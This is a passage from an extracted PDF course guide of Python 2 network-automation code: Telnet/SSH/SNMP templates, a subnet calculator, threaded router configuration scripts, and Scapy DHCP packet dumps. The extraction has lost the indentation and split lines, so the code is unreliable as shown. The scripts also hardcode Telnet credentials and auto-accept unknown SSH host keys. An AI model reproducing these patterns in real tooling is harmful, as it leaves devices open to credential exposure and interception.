Vous êtes sur la page 1sur 185

1 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Python Network Programming


by Mihai Ctlin Teodosiu, CCNP, Udemy & GNS3 Academy Instructor

Page 1 of 185
2 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

1. Whats this document all about?


Note: This e-book is a comprehensive guide containing all the applications developed
throughout my Python Network Programming courses: Python Network Programming
- Part 1: Build 7 Python Apps, Python Network Programming - Part 2: Multivendor
Environment & Python Network Programming - Part 3: Scapy & Security Tools.

Note: This document is intended for students enrolled in all three courses and is
distributed for personal use only. The distribution of this material to people not
enrolled in the Python Network Programming course series is strictly prohibited
and is subject to copyright infringement. The author of this document is entitled to
invoke legal and technological measures to prevent and penalize copyright infringement.
More information here: https://en.wikipedia.org/wiki/Copyright_infringement

IMPORTANT, BEFORE YOU CONTINUE!

All the code, scripts and applications are explained, turned into working applications and
tested inside the course. For detailed explanations and testing, please see the course
sections referenced by each application below. Pay attention to comments in the code!

Page 2 of 185
3 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2. Python Network Programming - Part 1: Build 7 Python Apps


NOTE! Python programming knowledge is required in order to understand the network
automation applications below. Learn Python from scratch inside the video course series!

2.1. Telnet with Python


(template only, reference: Section 11. Python Networking)

#Open telnet connection to devices


def open_telnet_conn(ip):
#Change exception message
try:
#Define telnet parameters
username = 'teopy'
password = 'python'
TELNET_PORT = 23
TELNET_TIMEOUT = 5
READ_TIMEOUT = 5

#Logging into device


connection = telnetlib.Telnet(ip, TELNET_PORT, TELNET_TIMEOUT)

output = connection.read_until("name:", READ_TIMEOUT)


connection.write(username + "\n")

output = connection.read_until("word:", READ_TIMEOUT)


connection.write(password + "\n")
time.sleep(1)

#Setting terminal length for entire output - no pagination


connection.write("terminal length 0\n")
time.sleep(1)

#Entering global config mode


connection.write("\n")
connection.write("configure terminal\n")
time.sleep(1)

#Open user selected file for reading


selected_cmd_file = open(cmd_file, 'r')

#Starting from the beginning of the file


selected_cmd_file.seek(0)

#Writing each line in the file to the device


for each_line in selected_cmd_file.readlines():
connection.write(each_line + '\n')
time.sleep(1)

Page 3 of 185
4 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Closing the file


selected_cmd_file.close()

#Test for reading command output


#output = connection.read_very_eager()
#print output

#Closing the connection


connection.close()

except IOError:
print "Input parameter error! Please check username, password and
file name."

#Calling the Telnet function


open_telnet_conn(ip)

Page 4 of 185
5 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.2. SSH with Python


(template only, reference: Section 11. Python Networking)

#Open SSHv2 connection to devices


def open_ssh_conn(ip):
#Change exception message
try:
#Define SSH parameters
selected_user_file = open(user_file, 'r')

#Starting from the beginning of the file


selected_user_file.seek(0)

username = selected_user_file.readlines()[0].split(',')[0]

#Starting from the beginning of the file


selected_user_file.seek(0)

password = selected_user_file.readlines()[0].split(',')[1]

#Logging into device


session = paramiko.SSHClient()

session.set_missing_host_key_policy(
paramiko.AutoAddPolicy())

session.connect(ip, username = username, password = password)

connection = session.invoke_shell()

#Setting terminal length for entire output - no pagination


connection.send("terminal length 0\n")
time.sleep(1)

#Entering global config mode


connection.send("\n")
connection.send("configure terminal\n")
time.sleep(1)

#Open user selected file for reading


selected_cmd_file = open(cmd_file, 'r')

#Starting from the beginning of the file


selected_cmd_file.seek(0)

#Writing each line in the file to the device


for each_line in selected_cmd_file.readlines():
connection.send(each_line + '\n')
time.sleep(2)

Page 5 of 185
6 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Closing the user file


selected_user_file.close()

#Closing the command file


selected_cmd_file.close()

#Checking command output for IOS syntax errors


output = connection.recv(65535)

if re.search(r"% Invalid input detected at", output):


print "* There was at least one IOS syntax error on device %s"
% ip
else:
print "\nDONE for device %s" % ip

#Test for reading command output


#print output + "\n"

#Closing the connection


session.close()

except paramiko.AuthenticationException:
print "* Invalid username or password. \n* Please check the
username/password file or the device configuration!"
print "* Closing program...\n"

#Calling the SSH function


open_ssh_conn(ip)

Page 6 of 185
7 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.3. SNMP with Python


(template only, reference: Section 11. Python Networking)

#!/usr/bin/env python

from pysnmp.entity.rfc3413.oneliner import cmdgen

#SNMP function
def snmp_get(ip):

#Creating command generator object


cmdGen = cmdgen.CommandGenerator()

#Performing SNMP GETNEXT operations on the OSPF OIDs


#The basic syntax of nextCmd: nextCmd(authData, transportTarget,
*varNames)
#The nextCmd method returns a tuple of (errorIndication, errorStatus,
errorIndex, varBindTable)

errorIndication, errorStatus, errorIndex, varBindNbrTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.10.1.3')

#print
cmdGen.nextCmd(cmdgen.CommunityData(comm),cmdgen.UdpTransportTarget((ip,
161)),'1.3.6.1.2.1.14.10.1.3')
#print varBindNbrTable

errorIndication, errorStatus, errorIndex, varBindNbrIpTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.10.1.1')

#print varBindNbrIpTable

errorIndication, errorStatus, errorIndex, varBindHostTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.4.1.9.2.1.3')

#print varBindHostTable

Page 7 of 185
8 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

errorIndication, errorStatus, errorIndex, varBindHostIdTable =


cmdGen.nextCmd(cmdgen.CommunityData(comm),

cmdgen.UdpTransportTarget((ip, 161)),

'1.3.6.1.2.1.14.1.1')

#print varBindHostIdTable

Page 8 of 185
9 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.4. Application #1 - Basic subnet calculator


(full code, reference: Section 13. Application #1 - Basic subnet calculator)

Logical flow diagram

Page 9 of 185
10 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #1 - Part #1 #############

import random
import sys

def subnet_calc():
try:
print "\n"

#Checking IP address validity


while True:
ip_address = raw_input("Enter an IP address: ")

#Checking octets
a = ip_address.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
break

else:
print "\nThe IP address is INVALID! Please retry!\n"
continue

masks = [255, 254, 252, 248, 240, 224, 192, 128, 0]

#Checking Subnet Mask validity


while True:
subnet_mask = raw_input("Enter a subnet mask: ")

#Checking octets
b = subnet_mask.split('.')

if (len(b) == 4) and (int(b[0]) == 255) and (int(b[1]) in


masks) and (int(b[2]) in masks) and (int(b[3]) in masks) and (int(b[0]) >=
int(b[1]) >= int(b[2]) >= int(b[3])):
break

else:
print "\nThe subnet mask is INVALID! Please retry!\n"
continue

############# Application #1 - Part #2 #############

#Algorithm for subnet identification, based on IP and Subnet Mask

#Convert mask to binary string


mask_octets_padded = []
mask_octets_decimal = subnet_mask.split(".")
#print mask_octets_decimal

for octet_index in range(0, len(mask_octets_decimal)):

Page 10 of 185
11 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#print bin(int(mask_octets_decimal[octet_index]))

binary_octet =
bin(int(mask_octets_decimal[octet_index])).split("b")[1]
#print binary_octet

if len(binary_octet) == 8:
mask_octets_padded.append(binary_octet)

elif len(binary_octet) < 8:


binary_octet_padded = binary_octet.zfill(8)
mask_octets_padded.append(binary_octet_padded)

#print mask_octets_padded

decimal_mask = "".join(mask_octets_padded)
#print decimal_mask #Example: for 255.255.255.0 =>
11111111111111111111111100000000

#Counting host bits in the mask and calculating number of


hosts/subnet
no_of_zeros = decimal_mask.count("0")
no_of_ones = 32 - no_of_zeros
no_of_hosts = abs(2 ** no_of_zeros - 2) #return positive value for
mask /32

#print no_of_zeros
#print no_of_ones
#print no_of_hosts

#Obtaining wildcard mask


wildcard_octets = []
for w_octet in mask_octets_decimal:
wild_octet = 255 - int(w_octet)
wildcard_octets.append(str(wild_octet))

#print wildcard_octets

wildcard_mask = ".".join(wildcard_octets)
#print wildcard_mask

############# Application #1 - Part #3 #############

#Convert IP to binary string


ip_octets_padded = []
ip_octets_decimal = ip_address.split(".")

for octet_index in range(0, len(ip_octets_decimal)):

binary_octet =
bin(int(ip_octets_decimal[octet_index])).split("b")[1]

if len(binary_octet) < 8:
binary_octet_padded = binary_octet.zfill(8)

Page 11 of 185
12 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

ip_octets_padded.append(binary_octet_padded)

else:
ip_octets_padded.append(binary_octet)

#print ip_octets_padded

binary_ip = "".join(ip_octets_padded)

#print binary_ip #Example: for 192.168.2.100 =>


11000000101010000000001001100100

#Obtain the network address and broadcast address from the binary
strings obtained above

network_address_binary = binary_ip[:(no_of_ones)] + "0" *


no_of_zeros
#print network_address_binary

broadcast_address_binary = binary_ip[:(no_of_ones)] + "1" *


no_of_zeros
#print broadcast_address_binary

net_ip_octets = []
for octet in range(0, len(network_address_binary), 8):
net_ip_octet = network_address_binary[octet:octet+8]
net_ip_octets.append(net_ip_octet)

#print net_ip_octets

net_ip_address = []
for each_octet in net_ip_octets:
net_ip_address.append(str(int(each_octet, 2)))

#print net_ip_address

network_address = ".".join(net_ip_address)
#print network_address

bst_ip_octets = []
for octet in range(0, len(broadcast_address_binary), 8):
bst_ip_octet = broadcast_address_binary[octet:octet+8]
bst_ip_octets.append(bst_ip_octet)

#print bst_ip_octets

bst_ip_address = []
for each_octet in bst_ip_octets:
bst_ip_address.append(str(int(each_octet, 2)))

#print bst_ip_address

broadcast_address = ".".join(bst_ip_address)
#print broadcast_address

Page 12 of 185
13 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Results for selected IP/mask


print "\n"
print "Network address is: %s" % network_address
print "Broadcast address is: %s" % broadcast_address
print "Number of valid hosts per subnet: %s" % no_of_hosts
print "Wildcard mask: %s" % wildcard_mask
print "Mask bits: %s" % no_of_ones
print "\n"

############# Application #1 - Part #4 #############

#Generation of random IP in subnet


while True:
generate = raw_input("Generate random ip address from subnet?
(y/n)")

if generate == "y":
generated_ip = []

#Obtain available IP address in range, based on the


difference between octets in broadcast address and network address
for indexb, oct_bst in enumerate(bst_ip_address):
#print indexb, oct_bst
for indexn, oct_net in enumerate(net_ip_address):
#print indexn, oct_net
if indexb == indexn:
if oct_bst == oct_net:
#Add identical octets to the generated_ip
list
generated_ip.append(oct_bst)
else:
#Generate random number(s) from within
octet intervals and append to the list

generated_ip.append(str(random.randint(int(oct_net), int(oct_bst))))

#IP address generated from the subnet pool


#print generated_ip
y_iaddr = ".".join(generated_ip)
#print y_iaddr

print "Random IP address is: %s" % y_iaddr


print "\n"
continue

else:
print "Ok, bye!\n"
break

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

Page 13 of 185
14 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Calling the function


subnet_calc()

Page 14 of 185
15 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.5. Application #2 SSH/Telnet network configuration


(full code, reference: Section 14. Application #2 SSH/Telnet network
configuration)

Logical flow diagram

Page 15 of 185
16 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.5.1. SSH network configuration

############# Application #2 - Part #1 #############

import paramiko
import threading
import os.path
import subprocess
import time
import sys
import re

#Checking IP address file and content validity


def ip_is_valid():
check = False
global ip_list

while True:
#Prompting user for input
print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # #
#\n"
ip_file = raw_input("# Enter IP file name and extension: ")
print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #"

#Changing exception message


try:
#Open user selected file for reading (IP addresses file)
selected_ip_file = open(ip_file, 'r')

#Starting from the beginning of the file


selected_ip_file.seek(0)

#Reading each line (IP address) in the file


ip_list = selected_ip_file.readlines()

#Closing the file


selected_ip_file.close()

except IOError:
print "\n* File %s does not exist! Please check and try
again!\n" % ip_file

#Checking octets
for ip in ip_list:
a = ip.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
check = True

Page 16 of 185
17 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

break

else:
print '\n* There was an INVALID IP address! Please check
and try again!\n'
check = False
continue

#Evaluating the 'check' flag


if check == False:
continue

elif check == True:


break

############# Application #2 - Part #2 #############

#Checking IP reachability
print "\n* Checking IP reachability. Please wait...\n"

check2 = False

while True:
for ip in ip_list:
ping_reply = subprocess.call(['ping', '-c', '2', '-w', '2', '-
q', '-n', ip])

if ping_reply == 0:
check2 = True
continue

elif ping_reply == 2:
print "\n* No response from device %s." % ip
check2 = False
break

else:
print "\n* Ping to the following device has FAILED:", ip
check2 = False
break

#Evaluating the 'check' flag


if check2 == False:
print "* Please re-check IP address list or device.\n"
ip_is_valid()

elif check2 == True:


print '\n* All devices are reachable. Waiting for
username/password file...\n'
break

#Checking user file validity


def user_is_valid():
global user_file

Page 17 of 185
18 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

while True:
print "# # # # # # # # # # # # # # # # # # # # # # # # # # # #\n"
user_file = raw_input("# Enter user/pass file name and extension:
")
print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #"

#Changing output messages


if os.path.isfile(user_file) == True:
print "\n* Username/password file has been validated. Waiting
for command file...\n"
break

else:
print "\n* File %s does not exist! Please check and try
again!\n" % user_file
continue

#Checking command file validity


def cmd_is_valid():
global cmd_file

while True:
print "\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # #
#\n"
cmd_file = raw_input("# Enter command file name and extension: ")
print "\n# # # # # # # # # # # # # # # # # # # # # # # # # # # #"

#Changing output messages


if os.path.isfile(cmd_file) == True:
print "\n* Sending command(s) to device(s)...\n"
break

else:
print "\n* File %s does not exist! Please check and try
again!\n" % cmd_file
continue

#Change exception message


try:
#Calling IP validity function
ip_is_valid()

except KeyboardInterrupt:
print "\n\n* Program aborted by user. Exiting...\n"
sys.exit()

#Change exception message


try:
#Calling user file validity function
user_is_valid()

except KeyboardInterrupt:
print "\n\n* Program aborted by user. Exiting...\n"

Page 18 of 185
19 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

sys.exit()

#Change exception message


try:
#Calling command file validity function
cmd_is_valid()

except KeyboardInterrupt:
print "\n\n* Program aborted by user. Exiting...\n"
sys.exit()

############# Application #2 - Part #3 #############

#Open SSHv2 connection to devices


def open_ssh_conn(ip):
#Change exception message
try:
#Define SSH parameters
selected_user_file = open(user_file, 'r')

#Starting from the beginning of the file


selected_user_file.seek(0)

#Reading the username from the file


username = selected_user_file.readlines()[0].split(',')[0]

#Starting from the beginning of the file


selected_user_file.seek(0)

#Reading the password from the file


password =
selected_user_file.readlines()[0].split(',')[1].rstrip("\n")

#Logging into device


session = paramiko.SSHClient()

#For testing purposes, this allows auto-accepting unknown host


keys
#Do not use in production! The default would be RejectPolicy
session.set_missing_host_key_policy(paramiko.AutoAddPolicy())

#Connect to the device using username and password


session.connect(ip, username = username, password = password)

#Start an interactive shell session on the router


connection = session.invoke_shell()

#Setting terminal length for entire output - disable pagination


connection.send("terminal length 0\n")
time.sleep(1)

#Entering global config mode


connection.send("\n")
connection.send("configure terminal\n")

Page 19 of 185
20 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

time.sleep(1)

#Open user selected file for reading


selected_cmd_file = open(cmd_file, 'r')

#Starting from the beginning of the file


selected_cmd_file.seek(0)

#Writing each line in the file to the device


for each_line in selected_cmd_file.readlines():
connection.send(each_line + '\n')
time.sleep(2)

#Closing the user file


selected_user_file.close()

#Closing the command file


selected_cmd_file.close()

#Checking command output for IOS syntax errors


router_output = connection.recv(65535)

if re.search(r"% Invalid input detected at", router_output):


print "* There was at least one IOS syntax error on device %s"
% ip

else:
print "\nDONE for device %s" % ip

#Test for reading command output


#print router_output + "\n"

#Closing the connection


session.close()

except paramiko.AuthenticationException:
print "* Invalid username or password. \n* Please check the
username/password file or the device configuration!"
print "* Closing program...\n"

############# Application #2 - Part #4 #############

#Creating threads
def create_threads():
threads = []
for ip in ip_list:
th = threading.Thread(target = open_ssh_conn, args = (ip,))
#args is a tuple with a single element
th.start()
threads.append(th)

for th in threads:
th.join()

Page 20 of 185
21 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Calling threads creation function


create_threads()

#End of program

Page 21 of 185
22 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.5.2. Telnet network configuration

#!/usr/bin/env python

import telnetlib
import threading
import os.path
import subprocess
import time
import sys

#Checking IP address validity


def ip_is_valid():
check = False
global ip_list

while True:
#Prompting user for input
ip_file = raw_input("Enter IP file name and extension: ")

#Changing exception message


try:
#Open user selected file for reading (IP addresses file)
selected_ip_file = open(ip_file, 'r')

#Starting from the beginning of the file


selected_ip_file.seek(0)

#Reading each line (IP address) in the file


ip_list = selected_ip_file.readlines()

#Closing the file


selected_ip_file.close()

except IOError:
print "\nFile %s does not exist! Please check and try
again!\n" % ip_file

#Checking octets
for ip in ip_list:
a = ip.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
check = True
break

else:

Page 22 of 185
23 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print '\n* There was an INVALID IP address! Please check


and try again!\n'
check = False
continue

#Evaluating the 'check' flag


if check == False:
continue

elif check == True:


break

#Checking IP reachability
print "\nChecking IP reachability...\n"

check2 = False

while True:
for ip in ip_list:
ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', '-
q', '-n', ip])

if ping_reply == 0:
check2 = True
continue

elif ping_reply == 2:
print "\nNo response from device %s." % ip
check2 = False
break

else:
print "\nPing to the following device has FAILED:", ip
check2 = False
break

#Evaluating the 'check' flag


if check2 == False:
print "Please re-check IP address list or device.\n"
ip_is_valid()

elif check2 == True:


print '\nAll devices are reachable. Waiting for command
file...\n'
break

#Checking command file validity


def cmd_is_valid():
global cmd_file

while True:
cmd_file = raw_input("Enter command file name and extension: ")

#Changing exception message

Page 23 of 185
24 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if os.path.isfile(cmd_file) == True:
print "\nSending command(s) to device(s)...\n"
break

else:
print "\nFile %s does not exist! Please check and try
again!\n" % cmd_file
continue

#Change exception message


try:
#Calling IP validity function
ip_is_valid()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#Change exception message


try:
#Calling command file validity function
cmd_is_valid()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#Open telnet connection to devices


def open_telnet_conn(ip):
#Change exception message
try:
#Define telnet parameters
username = 'teopy'
password = 'python'

#Specify the Telnet port (default is 23, anyway)


port = 23

#Specify the connection timeout in seconds for blocking


operations, like the connection attempt
connection_timeout = 5

#Specify a timeout in seconds. Read until the string is found or


until the timout has passed
reading_timeout = 5

#Logging into device


connection = telnetlib.Telnet(ip, port, connection_timeout)

#Waiting to be asked for an username


router_output = connection.read_until("Username:",
reading_timeout)
#Enter the username when asked and a "\n" for Enter

Page 24 of 185
25 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

connection.write(username + "\n")

#Waiting to be asked for a password


router_output = connection.read_until("Password:",
reading_timeout)
#Enter the password when asked and a "\n" for Enter
connection.write(password + "\n")
time.sleep(1)

#Setting terminal length for the entire output - disabling


pagination
connection.write("terminal length 0\n")
time.sleep(1)

#Entering global config mode


connection.write("\n")
connection.write("configure terminal\n")
time.sleep(1)

#Open user selected file for reading


selected_cmd_file = open(cmd_file, 'r')

#Starting from the beginning of the file


selected_cmd_file.seek(0)

#Writing each line in the file to the device


for each_line in selected_cmd_file.readlines():
connection.write(each_line + '\n')
time.sleep(1)

#Closing the file


selected_cmd_file.close()

#Test for reading command output


#router_output = connection.read_very_eager()
#print router_output

#Closing the connection


connection.close()

except IOError:
print "Input parameter error! Please check username, password and
file name."

#Creating threads
def create_threads():
threads = []
for ip in ip_list:
th = threading.Thread(target = open_telnet_conn, args = (ip,))
#args is a tuple with a single element
th.start()
threads.append(th)

Page 25 of 185
26 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

for th in threads:
th.join()

#Calling threads creation function


create_threads()

#End of program

Page 26 of 185
27 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.6. Application #3 - DHCP client simulator


(full code, reference: Section 15. Application #3 - DHCP client simulator)

Logical flow diagram

Page 27 of 185
28 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #3 - Part #1 #############

#DHCP client simulator

#In scapy interactive mode - DHCP packets:


'''
'Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP'

DHCP DISCOVER:
'Ether(src=\'08:00:27:f9:51:87\', dst=\'ff:ff:ff:ff:ff:ff\',
type=2048)/IP(frag=0L, src=\'0.0.0.0\', proto=17, tos=16,
dst=\'255.255.255.255\', chksum=14742, len=328, options=[], version=4L,
flags=0L, ihl=5L, ttl=128, id=0)/UDP(dport=67, sport=68, len=308,
chksum=47898)/BOOTP(hlen=6,
sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\',
hops=0, giaddr=\'0.0.0.0\',
chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00", yiaddr=\'0.0.0.0\', secs=0, flags=0L, htype=1,
file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\',
siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=1)/DHCP(options=[(\'message-
type\', 1), (\'hostname\', \'kali-teo\'), (\'param_req_list\',
\'\\x01\\x1c\\x02\\x03\\x0f\\x06w\\x0c,/\\x1ay*\'), \'end\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])'

DHCP OFFER:
'Ether(src=\'c0:04:1a:5c:00:01\', dst=\'08:00:27:f9:51:87\',
type=2048)/IP(frag=0L, src=\'192.168.2.111\', proto=17, tos=0,
dst=\'192.168.2.1\', chksum=13540, len=328, options=[], version=4L,
flags=0L, ihl=5L, ttl=255, id=0)/UDP(dport=68, sport=67, len=308,
chksum=19350)/BOOTP(hlen=6,
sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\',
hops=0, giaddr=\'0.0.0.0\',
chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00", yiaddr=\'192.168.2.1\', secs=0, flags=0L, htype=1,
file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\

Page 28 of 185
29 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\',
siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=2)/DHCP(options=[(\'message-
type\', 2), (\'server_id\', \'192.168.2.111\'), (\'lease_time\', 86400),
(\'renewal_time\', 43200), (\'rebinding_time\', 75600), (\'subnet_mask\',
\'255.255.255.0\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])'

DHCP OFFER (more options):


'Ether(src='ca:04:15:ec:00:08', dst='00:00:5e:4a:a3:fe',
type=2048)/IP(frag=0L, src='192.168.2.111', proto=17, tos=0,
dst='192.168.2.236', chksum=9573, len=328, options=[], version=4L,
flags=0L, ihl=5L, ttl=255, id=3732)/UDP(dport=68, sport=67, len=308,
chksum=3558)/BOOTP(hlen=6,
sname='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00', xid=868370, ciaddr='0.0.0.0', hops=0,
giaddr='0.0.0.0',
chaddr='\\x00\\x00^J\\xa3\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00', yiaddr='192.168.2.236', secs=0, flags=0L, htype=1,
file='\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', siaddr='0.0.0.0',
options='c\\x82Sc', op=2)/DHCP(options=[('message-type', 2), ('server_id',
'192.168.2.111'), ('lease_time', 86400), ('renewal_time', 43200),
('rebinding_time', 75600), ('subnet_mask', '255.255.255.0'), ('router',
'192.168.2.254'), 'end', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad',
'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad',
'pad', 'pad', 'pad'])'

